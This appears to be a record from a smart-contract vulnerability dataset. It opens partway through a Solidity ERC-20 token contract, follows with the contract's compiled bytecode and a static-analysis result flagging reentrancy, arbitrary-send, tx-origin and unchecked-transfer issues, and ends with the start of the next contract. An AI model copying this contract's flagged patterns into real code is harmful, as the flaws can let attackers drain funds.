_sellFee = sell;
emit FeesUpdated(_buyFee, _sellFee);
}
function setLpAddAmt(uint percent) external {
require(_msgSender() == _FeeAddress1);
require(percent <= 100);
_lpAddAmt = percent; // the percent of fee ETH sent to LP, can be any value (has no effect on tax)
emit LpAddAmtUpdated(percent);
}
function toggleMaxHeldLimit() external {
require(_msgSender() == _FeeAddress1);
_maxHeldLimit = !_maxHeldLimit;
emit maxHeldLimitSwitched(_maxHeldLimit);
}
function updateFeeAddress1(address newAddress) external {
require(_msgSender() == _FeeAddress1);
_FeeAddress1 = payable(newAddress);
emit FeeAddress1Updated(_FeeAddress1);
}
function updateFeeAddress2(address newAddress) external {
require(_msgSender() == _FeeAddress2);
_FeeAddress2 = payable(newAddress);
emit FeeAddress2Updated(_FeeAddress2);
}
}
|
0x6080604052600436106101d15760003560e01c806350901617116100f75780638da5cb5b11610095578063c9567bf911610064578063c9567bf91461062b578063cd52c70114610642578063dd62ed3e1461066d578063e8078d94146106aa576101d8565b80638da5cb5b1461058157806395d89b41146105ac578063a9059cbb146105d7578063c3c8cd8014610614576101d8565b80636fc3eaec116100d15780636fc3eaec146104ed5780637081d8161461050457806370a082311461052d578063715018a61461056a576101d8565b8063509016171461046e578063590f897e146104975780635d36e7ee146104c2576101d8565b806323b872dd1161016f5780633870764d1161013e5780633870764d146103d65780633bed4355146103ed57806340b9a54b1461041857806349bd5a5e14610443576101d8565b806323b872dd14610318578063313ce5671461035557806332d873d814610380578063367c5544146103ab576101d8565b8063095ea7b3116101ab578063095ea7b31461025c5780630b78f9c01461029957806318160ddd146102c25780631940d020146102ed576101d8565b80630492f055146101dd57806306fdde03146102085780630802d2f614610233576101d8565b366101d857005b600080fd5b3480156101e957600080fd5b506101f26106c1565b6040516101ff9190612d35565b60405180910390f35b34801561021457600080fd5b5061021d6106c7565b60405161022a9190612de9565b60405180910390f35b34801561023f57600080fd5b5061025a60048036038101906102559190612e6e565b610700565b005b34801561026857600080fd5b50610283600480360381019061027e9190612ec7565b6107fe565b6040516102909190612f22565b60405180910390f35b3480156102a557600080fd5b506102c060048036038101906102bb9190612f3d565b61081c565b005b3480156102ce57600080fd5b506102d761091d565b6040516102e49190612d35565b60405180910390f35b3480156102f957600080fd5b5061030261092e565b60405161030f9190612d35565b60405180910390f35b34801561032457600080fd5b5061033f600480360381019061033a9190612f7d565b610934565b60405161034c9190612f22565b60405180910390f35b34801561036157600080fd5b5061036a610b25565b6040516103779190612fec565b60405180910390f35b34801561038c57600080fd5b50610395610b2a565b6040516103a29190612d35565b60405180910390f35b3480156103b757600080fd5b506103c0610b30565b6040516103cd9190613028565b60405180910390f35b3480156103e257600080fd5b506103eb610b56565b005b3480156103f957600080fd5b50610402610c29565b60405161040f9190613028565b60405180910390f35b34801561042457600080fd5b5061042d610c4f565b60405161043a9190612d35565b60405180910390f35b34801561044f57600080fd5b50610458610c55565b6040516104659190613052565b60405180910390f35b34801561047a57600080fd5b5061049560048036038101906104909190612e6e565b610c7b565b005b3480156104a357600080fd5b506104ac610d79565b6040516104b99190612d35565b60405180910390f35b3480156104ce57600080fd5b506104d7610d7f565b6040516104e49190612f22565b60405180910390f35b3480156104f957600080fd5b50610502610d92565b005b34801561051057600080fd5b5061052b6004803603810190610526919061306d565b610e04565b005b34801561053957600080fd5b50610554600480360381019061054f9190612e6e565b610eb4565b6040516105619190612d35565b60405180910390f35b34801561057657600080fd5b5061057f610efd565b005b34801561058d57600080fd5b50610596611050565b6040516105a39190613052565b60405180910390f35b3480156105b857600080fd5b506105c1611079565b6040516105ce9190612de9565b60405180910390f35b3480156105e357600080fd5b506105fe60048036038101906105f99190612ec7565b6110b2565b60405161060b9190612f22565b60405180910390f35b34801561062057600080fd5b506106296110d0565b005b34801561063757600080fd5b5061064061114a565b005b34801561064e57600080fd5b5061065761128d565b6040516106649190612f22565b60405180910390f35b34801561067957600080fd5b50610694600480360381019061068f919061309a565b6112a0565b6040516106a19190612d35565b60405180910390f35b3480156106b657600080fd5b506106bf611327565b005b600e5481565b6040518060400160405280600581526020017f44616e676f00000000000000000000000000000000000000000000000000000081525081565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610741611841565b73ffffffffffffffffffffffffffffffffffffffff161461076157600080fd5b80600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f0e96f8986653644392af4a5daec8b04a389af0d497572173e63846ccd26c843c600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040516107f39190613139565b60405180910390a150565b600061081261080b611841565b8484611849565b6001905092915050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661085d611841565b73ffffffffffffffffffffffffffffffffffffffff161461087d57600080fd5b600b821115801561088f5750600b8111155b6108ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108c5906131a0565b60405180910390fd5b81600b8190555080600c819055507f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1600b54600c546040516109119291906131c0565b60405180910390a15050565b6000683635c9adc5dea00000905090565b600f5481565b6000601160019054906101000a900460ff16801561099c5750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156109f55750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b15610a69573273ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610a68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a5f90613235565b60405180910390fd5b5b610a74848484611a12565b600082600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610ac0611841565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b059190613284565b9050610b1985610b13611841565b83611849565b60019150509392505050565b600981565b60105481565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b97611841565b73ffffffffffffffffffffffffffffffffffffffff1614610bb757600080fd5b601160009054906101000a900460ff1615601160006101000a81548160ff0219169083151502179055507f87450bd73cd4d3b5fa293f8eb54a5b93578f3d09bf0fbca666ecbc4751deefcb601160009054906101000a900460ff16604051610c1f9190612f22565b60405180910390a1565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600b5481565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610cbc611841565b73ffffffffffffffffffffffffffffffffffffffff1614610cdc57600080fd5b80600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f96511497113ddf59712b28350d7457b9c300ab227616bd3b451745a395a53014600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16604051610d6e9190613139565b60405180910390a150565b600c5481565b601160009054906101000a900460ff1681565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dd3611841565b73ffffffffffffffffffffffffffffffffffffffff1614610df357600080fd5b6000479050610e01816121e6565b50565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610e45611841565b73ffffffffffffffffffffffffffffffffffffffff1614610e6557600080fd5b6064811115610e7357600080fd5b80600d819055507f5cae0f72be1f68e9cd1bffeda98144a2a6ae85d528d1b116b86a216e4304255081604051610ea99190612d35565b60405180910390a150565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610f05611841565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8990613304565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6040518060400160405280600581526020017f44414e474f00000000000000000000000000000000000000000000000000000081525081565b60006110c66110bf611841565b8484611a12565b6001905092915050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611111611841565b73ffffffffffffffffffffffffffffffffffffffff161461113157600080fd5b600061113c30610eb4565b9050611147816127ba565b50565b611152611841565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111d690613304565b60405180910390fd5b601160019054906101000a900460ff161561122f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161122690613370565b60405180910390fd5b6001601160006101000a81548160ff0219169083151502179055506001601160016101000a81548160ff021916908315150217905550426010819055506745639182808eca00600e819055506801a055690d9db80000600f81905550565b601160019054906101000a900460ff1681565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61132f611841565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146113bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113b390613304565b60405180910390fd5b601160019054906101000a900460ff161561140c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161140390613370565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061149c30600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea00000611849565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156114e7573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061150b91906133a5565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611572573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061159691906133a5565b6040518363ffffffff1660e01b81526004016115b39291906133d2565b6020604051808303816000875af11580156115d2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115f691906133a5565b600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061167f30610eb4565b60008061168a611050565b426040518863ffffffff1660e01b81526004016116ac96959493929190613436565b60606040518083038185885af11580156116ca573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906116ef91906134ac565b505050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016117919291906134ff565b6020604051808303816000875af11580156117b0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117d49190613554565b506000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905080600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036118b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118af906135f3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611927576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161191e90613685565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611a059190612d35565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611a81576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a7890613717565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611af0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ae7906137a9565b60405180910390fd5b60008111611b33576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b2a9061383b565b60405180910390fd5b6000611b3d611050565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611bab5750611b7b611050565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561212157600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611c5b5750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611cb15750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611fc957601160019054906101000a900460ff16611d05576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cfc906138a7565b60405180910390fd5b6010544203611d49576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d4090613913565b60405180910390fd5b601160009054906101000a900460ff1615611db757600f54611d6a84610eb4565b83611d759190613933565b1115611db6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dad906139d5565b60405180910390fd5b5b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010160009054906101000a900460ff16611e915760405180604001604052806000815260200160011515815250600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000820151816000015560208201518160010160006101000a81548160ff0219169083151502179055509050505b426078601054611ea19190613933565b1115611f7d57600e54821115611eec576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ee390613a41565b60405180910390fd5b601e42611ef99190613933565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015410611f7c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f7390613aad565b60405180910390fd5b5b42600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000181905550600190505b601160029054906101000a900460ff16158015611ff25750601160019054906101000a900460ff165b801561204c5750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561212057600f4261205e9190613933565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154106120e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120d890613aad565b60405180910390fd5b60006120ec30610eb4565b9050600081111561210157612100816127ba565b5b6000479050600081111561211957612118816121e6565b5b6000925050505b5b600060019050600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806121c85750600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156121d257600090505b6121df8585858486612a33565b5050505050565b6000806000600d5411156126c55760006064600d54856122069190613acd565b6122109190613b56565b9050600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561227f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906122a391906133a5565b73ffffffffffffffffffffffffffffffffffffffff1663d0e30db0826040518263ffffffff1660e01b81526004016000604051808303818588803b1580156122ea57600080fd5b505af11580156122fe573d6000803e3d6000fd5b5050505050600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612370573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061239491906133a5565b73ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561243f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061246391906133a5565b73ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b815260040161249b9190613052565b602060405180830381865afa1580156124b8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124dc9190613b87565b6040518363ffffffff1660e01b81526004016124f99291906134ff565b6020604051808303816000875af1158015612518573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061253c9190613554565b506000818561254b9190613284565b905060028161255a9190613b56565b935083816125689190613284565b9250600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc859081150290604051600060405180830381858888f193505050501580156125d2573d6000803e3d6000fd5b50600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc849081150290604051600060405180830381858888f1935050505015801561263b573d6000803e3d6000fd5b50600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663fff6cae96040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156126a657600080fd5b505af11580156126ba573d6000803e3d6000fd5b5050505050506127b5565b6002836126d29190613b56565b915081836126e09190613284565b9050600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f1935050505015801561274a573d6000803e3d6000fd5b50600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156127b3573d6000803e3d6000fd5b505b505050565b6001601160026101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156127f2576127f1613bb4565b5b6040519080825280602002602001820160405280156128205781602001602082028036833780820191505090505b509050308160008151811061283857612837613be3565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156128df573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061290391906133a5565b8160018151811061291757612916613be3565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061297e30600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611849565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016129e2959493929190613cd0565b600060405180830381600087803b1580156129fc57600080fd5b505af1158015612a10573d6000803e3d6000fd5b50505050506000601160026101000a81548160ff02191690831515021790555050565b6000612a3f8383612a55565b9050612a4d86868684612aaa565b505050505050565b600080600090508315612aa0578215612a7257600b549050612a9f565b600c549050610e10601054612a879190613933565b421015612a9e57600581612a9b9190613933565b90505b5b5b8091505092915050565b600080612ab78484612c4d565b9150915083600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b069190613284565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b949190613933565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612be081612c8b565b8473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612c3d9190612d35565b60405180910390a3505050505050565b600080600060648486612c609190613acd565b612c6a9190613b56565b905060008186612c7a9190613284565b905080829350935050509250929050565b80600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612cd69190613933565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b6000819050919050565b612d2f81612d1c565b82525050565b6000602082019050612d4a6000830184612d26565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612d8a578082015181840152602081019050612d6f565b83811115612d99576000848401525b50505050565b6000601f19601f8301169050919050565b6000612dbb82612d50565b612dc58185612d5b565b9350612dd5818560208601612d6c565b612dde81612d9f565b840191505092915050565b60006020820190508181036000830152612e038184612db0565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612e3b82612e10565b9050919050565b612e4b81612e30565b8114612e5657600080fd5b50565b600081359050612e6881612e42565b92915050565b600060208284031215612e8457612e83612e0b565b5b6000612e9284828501612e59565b91505092915050565b612ea481612d1c565b8114612eaf57600080fd5b50565b600081359050612ec181612e9b565b92915050565b60008060408385031215612ede57612edd612e0b565b5b6000612eec85828601612e59565b9250506020612efd85828601612eb2565b9150509250929050565b60008115159050919050565b612f1c81612f07565b82525050565b6000602082019050612f376000830184612f13565b92915050565b60008060408385031215612f5457612f53612e0b565b5b6000612f6285828601612eb2565b9250506020612f7385828601612eb2565b9150509250929050565b600080600060608486031215612f9657612f95612e0b565b5b6000612fa486828701612e59565b9350506020612fb586828701612e59565b9250506040612fc686828701612eb2565b9150509250925092565b600060ff82169050919050565b612fe681612fd0565b82525050565b60006020820190506130016000830184612fdd565b92915050565b600061301282612e10565b9050919050565b61302281613007565b82525050565b600060208201905061303d6000830184613019565b92915050565b61304c81612e30565b82525050565b60006020820190506130676000830184613043565b92915050565b60006020828403121561308357613082612e0b565b5b600061309184828501612eb2565b91505092915050565b600080604083850312156130b1576130b0612e0b565b5b60006130bf85828601612e59565b92505060206130d085828601612e59565b9150509250929050565b6000819050919050565b60006130ff6130fa6130f584612e10565b6130da565b612e10565b9050919050565b6000613111826130e4565b9050919050565b600061312382613106565b9050919050565b61313381613118565b82525050565b600060208201905061314e600083018461312a565b92915050565b7f446f6e2774206265206772656564792e00000000000000000000000000000000600082015250565b600061318a601083612d5b565b915061319582613154565b602082019050919050565b600060208201905081810360008301526131b98161317d565b9050919050565b60006040820190506131d56000830185612d26565b6131e26020830184612d26565b9392505050565b7f706c73206e6f20626f7400000000000000000000000000000000000000000000600082015250565b600061321f600a83612d5b565b915061322a826131e9565b602082019050919050565b6000602082019050818103600083015261324e81613212565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061328f82612d1c565b915061329a83612d1c565b9250828210156132ad576132ac613255565b5b828203905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006132ee602083612d5b565b91506132f9826132b8565b602082019050919050565b6000602082019050818103600083015261331d816132e1565b9050919050565b7f54726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b600061335a601783612d5b565b915061336582613324565b602082019050919050565b600060208201905081810360008301526133898161334d565b9050919050565b60008151905061339f81612e42565b92915050565b6000602082840312156133bb576133ba612e0b565b5b60006133c984828501613390565b91505092915050565b60006040820190506133e76000830185613043565b6133f46020830184613043565b9392505050565b6000819050919050565b600061342061341b613416846133fb565b6130da565b612d1c565b9050919050565b61343081613405565b82525050565b600060c08201905061344b6000830189613043565b6134586020830188612d26565b6134656040830187613427565b6134726060830186613427565b61347f6080830185613043565b61348c60a0830184612d26565b979650505050505050565b6000815190506134a681612e9b565b92915050565b6000806000606084860312156134c5576134c4612e0b565b5b60006134d386828701613497565b93505060206134e486828701613497565b92505060406134f586828701613497565b9150509250925092565b60006040820190506135146000830185613043565b6135216020830184612d26565b9392505050565b61353181612f07565b811461353c57600080fd5b50565b60008151905061354e81613528565b92915050565b60006020828403121561356a57613569612e0b565b5b60006135788482850161353f565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006135dd602483612d5b565b91506135e882613581565b604082019050919050565b6000602082019050818103600083015261360c816135d0565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061366f602283612d5b565b915061367a82613613565b604082019050919050565b6000602082019050818103600083015261369e81613662565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613701602583612d5b565b915061370c826136a5565b604082019050919050565b60006020820190508181036000830152613730816136f4565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613793602383612d5b565b915061379e82613737565b604082019050919050565b600060208201905081810360008301526137c281613786565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000613825602983612d5b565b9150613830826137c9565b604082019050919050565b6000602082019050818103600083015261385481613818565b9050919050565b7f54726164696e67206e6f742079657420656e61626c65642e0000000000000000600082015250565b6000613891601883612d5b565b915061389c8261385b565b602082019050919050565b600060208201905081810360008301526138c081613884565b9050919050565b7f706c73206e6f20736e6970000000000000000000000000000000000000000000600082015250565b60006138fd600b83612d5b565b9150613908826138c7565b602082019050919050565b6000602082019050818103600083015261392c816138f0565b9050919050565b600061393e82612d1c565b915061394983612d1c565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561397e5761397d613255565b5b828201905092915050565b7f4d61782068656c64206c696d69742e0000000000000000000000000000000000600082015250565b60006139bf600f83612d5b565b91506139ca82613989565b602082019050919050565b600060208201905081810360008301526139ee816139b2565b9050919050565b7f45786365656473206d6178696d756d2062757920616d6f756e742e0000000000600082015250565b6000613a2b601b83612d5b565b9150613a36826139f5565b602082019050919050565b60006020820190508181036000830152613a5a81613a1e565b9050919050565b7f436f6f6c646f776e206861736e277420657870697265642e0000000000000000600082015250565b6000613a97601883612d5b565b9150613aa282613a61565b602082019050919050565b60006020820190508181036000830152613ac681613a8a565b9050919050565b6000613ad882612d1c565b9150613ae383612d1c565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613b1c57613b1b613255565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613b6182612d1c565b9150613b6c83612d1c565b925082613b7c57613b7b613b27565b5b828204905092915050565b600060208284031215613b9d57613b9c612e0b565b5b6000613bab84828501613497565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613c4781612e30565b82525050565b6000613c598383613c3e565b60208301905092915050565b6000602082019050919050565b6000613c7d82613c12565b613c878185613c1d565b9350613c9283613c2e565b8060005b83811015613cc3578151613caa8882613c4d565b9750613cb583613c65565b925050600181019050613c96565b5085935050505092915050565b600060a082019050613ce56000830188612d26565b613cf26020830187613427565b8181036040830152613d048186613c72565b9050613d136060830185613043565b613d206080830184612d26565b969550505050505056fea26469706673582212206c1a9be9ab55e6b77933ee450726bbbc62682a94fdad9515d88f724bff0aced964736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 2,487 |
0x581d66ef38904d8b6292d1a70aef19e67f596fcf
|
/**
*Submitted for verification at Etherscan.io on 2022-03-29
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
